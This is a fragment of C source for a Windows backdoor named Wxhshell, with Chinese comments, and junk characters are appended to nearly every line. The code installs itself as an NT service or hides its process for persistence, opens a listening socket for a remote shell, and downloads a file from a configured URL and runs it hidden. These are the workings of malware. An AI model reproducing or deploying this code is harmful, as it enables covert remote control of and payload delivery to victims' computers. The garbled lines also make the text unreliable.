ULONG InheritedFromUniqueProcessId; sa8Sy& X"
} PROCESS_BASIC_INFORMATION; w$*t.Q*
6KmF 9
PROCNTQSIP NtQueryInformationProcess; d;KrV=%30s
{ U a19~'>
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Qci<cVgP
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !7SZZz
j;fmmV@
HANDLE hProcess; 8o~<\eF%
PROCESS_BASIC_INFORMATION pbi; -b-Pvw4
jcF/5u5e
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *B(na+
if(NULL == hInst ) return 0; uY;-x~Z
@RKw1$BA
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >\b=bT@iM
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,R$n I*mf_
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'j];tO6GfC
-\@&^e
if (!NtQueryInformationProcess) return 0; z#b31;A@$
zH8l-0I+$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @Nb&f<+gi
if(!hProcess) return 0; :Vq gmn
"(ehf|%>%
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ulsr)Ik
a
1bu
CloseHandle(hProcess); NL))!Pi
^1U2&S
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bh:;ovH
if(hProcess==NULL) return 0; zEJ|;oL
67 >*AL
HMODULE hMod; e-f_#!bW
char procName[255]; ]>K%,}PS
unsigned long cbNeeded; Y;S+2])R2
!G3O!]
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E,5jY
=x}27f%-Mg
CloseHandle(hProcess); waXA%u50
KcP86H52I
if(strstr(procName,"services")) return 1; // 以服务启动 /AWV@'
}NDw3{zn
return 0; // 注册表启动 Zr'VA,v
} t)XNS!6#]?
pm O }m>
// 主模块 %WHue
int StartWxhshell(LPSTR lpCmdLine) ,6,#Lc
{ qR!SwG44+
SOCKET wsl; u*Eb4
BOOL val=TRUE; #sy)-xM
int port=0; Z6SM7?d
struct sockaddr_in door; [2.uwn]i
hf>JW[>Xo
if(wscfg.ws_autoins) Install(); QNzI
draY/
port=atoi(lpCmdLine); ^,'!j/w5
( du<0J|PT
if(port<=0) port=wscfg.ws_port; X'e@(I!0
!HM{imT
WSADATA data; e?3 S0}
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;OTD1=
{,|*99V
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &%L1n?>Q}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =yOIP@
door.sin_family = AF_INET; [GZ%K`wx
door.sin_addr.s_addr = inet_addr("127.0.0.1"); B@G'6 ?
door.sin_port = htons(port); i}N'WV`!
:CNWHF4$
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3D[IZ^%VtM
closesocket(wsl); ,95Nj h
return 1; 1XUsr;Wz
} wlKfTJrn&
5Q,#Co
if(listen(wsl,2) == INVALID_SOCKET) { kJq8"Klg
closesocket(wsl); 5X4; (Qj
return 1; ]6Kx0mW
} c?"#x-<1s
Wxhshell(wsl); i&$L$zf,
WSACleanup(); (S* T{OgO
:o?On/
return 0; (eS4$$g
03L+[F&"?
} <5rp$AzT
u;H SX
// 以NT服务方式启动 "detDB
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xCz(qR
{ @~hiL(IR'
DWORD status = 0; w,> ceu/
DWORD specificError = 0xfffffff; x
hBlv
o(Yfnnuy
serviceStatus.dwServiceType = SERVICE_WIN32; 1[OCoj o<
serviceStatus.dwCurrentState = SERVICE_START_PENDING; =<MSM\Rb
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?%dsY\
serviceStatus.dwWin32ExitCode = 0; #mLF6"A
serviceStatus.dwServiceSpecificExitCode = 0; <V0]~3
serviceStatus.dwCheckPoint = 0; 1p=^I'#
serviceStatus.dwWaitHint = 0; A-Be}A
eG*<=.E
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t Sran
if (hServiceStatusHandle==0) return; A-x; ai]
{z>fe
}
status = GetLastError(); C?m2R(RF
if (status!=NO_ERROR) /#lhRNX
{ =+;l>mn?O
serviceStatus.dwCurrentState = SERVICE_STOPPED; }7&.FV"
serviceStatus.dwCheckPoint = 0; `ECT8
serviceStatus.dwWaitHint = 0; Q$_y +[
serviceStatus.dwWin32ExitCode = status; 4v9jGwnz t
serviceStatus.dwServiceSpecificExitCode = specificError; WyciIO1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k%Dpy2uH
return; 1=:=zyEEo
} Z>
Jm
"`HkAW4GZa
serviceStatus.dwCurrentState = SERVICE_RUNNING; l\g>@b
serviceStatus.dwCheckPoint = 0; 2*;qr|h,
serviceStatus.dwWaitHint = 0; UtPFkase
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >L[n4x\
} ._'AJhU$0
N$]B$vv
// 处理NT服务事件,比如:启动、停止 Pt< JF
VOID WINAPI NTServiceHandler(DWORD fdwControl) (:Di/{i&r5
{ &iKy
switch(fdwControl) y0s=yN_
{ c"D%c(:4|
case SERVICE_CONTROL_STOP: X.}i9a
6
serviceStatus.dwWin32ExitCode = 0; BwOIdz%]OY
serviceStatus.dwCurrentState = SERVICE_STOPPED; "?9rJx$
serviceStatus.dwCheckPoint = 0; h; " 9.
serviceStatus.dwWaitHint = 0; TLu+5f
{ Nini8@d
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >D]g:t@v
} 7p1f*N[X
return; K(jo [S
case SERVICE_CONTROL_PAUSE: +/O3L=QyJ
serviceStatus.dwCurrentState = SERVICE_PAUSED; w{F{7X$^
break; FgwIOpqE*
case SERVICE_CONTROL_CONTINUE: `>ppDQaS)W
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4# +i\H`
break; phCItN;
case SERVICE_CONTROL_INTERROGATE: [vv $"$z
break; hp|.hN(kS]
}; |WP}y-Au
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ymvd3> _
} B^;"<2b*
L5[{taZ,
// 标准应用程序主函数 a
gkw)#
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xP{)+$n
{ 6W\G i>
J2ZV\8t
// 获取操作系统版本 b-8}TTL>
OsIsNt=GetOsVer(); j_3`J8WwF
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'G>$W+lT^
n2A
;
`=
// 从命令行安装 B,S~Idr}
if(strpbrk(lpCmdLine,"iI")) Install(); <%4M\n
T
W#s)iDi
// 下载执行文件 TJ_Wze-lQ
if(wscfg.ws_downexe) { ,ZV>"'I:
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m?O~(6k@C
WinExec(wscfg.ws_filenam,SW_HIDE); jK-b#h.gL
} +)xjw9b
'MgYSP<
if(!OsIsNt) { {8* d{0l
// 如果时win9x,隐藏进程并且设置为注册表启动 +'|nsIx,
HideProc(); 8IkmFXj
StartWxhshell(lpCmdLine); zJ6""38Pr
} ~ &<Ls
else QHXA?nBX
if(StartFromService()) ID:
tTltcc
// 以服务方式启动 Kn=0AdM
StartServiceCtrlDispatcher(DispatchTable); Xp+lpVcJ
else uv=a}U;
// 普通方式启动 5OCt Q4u
StartWxhshell(lpCmdLine);
NDUH10Y:[
]ZnASlc)
return 0; ds2%i
}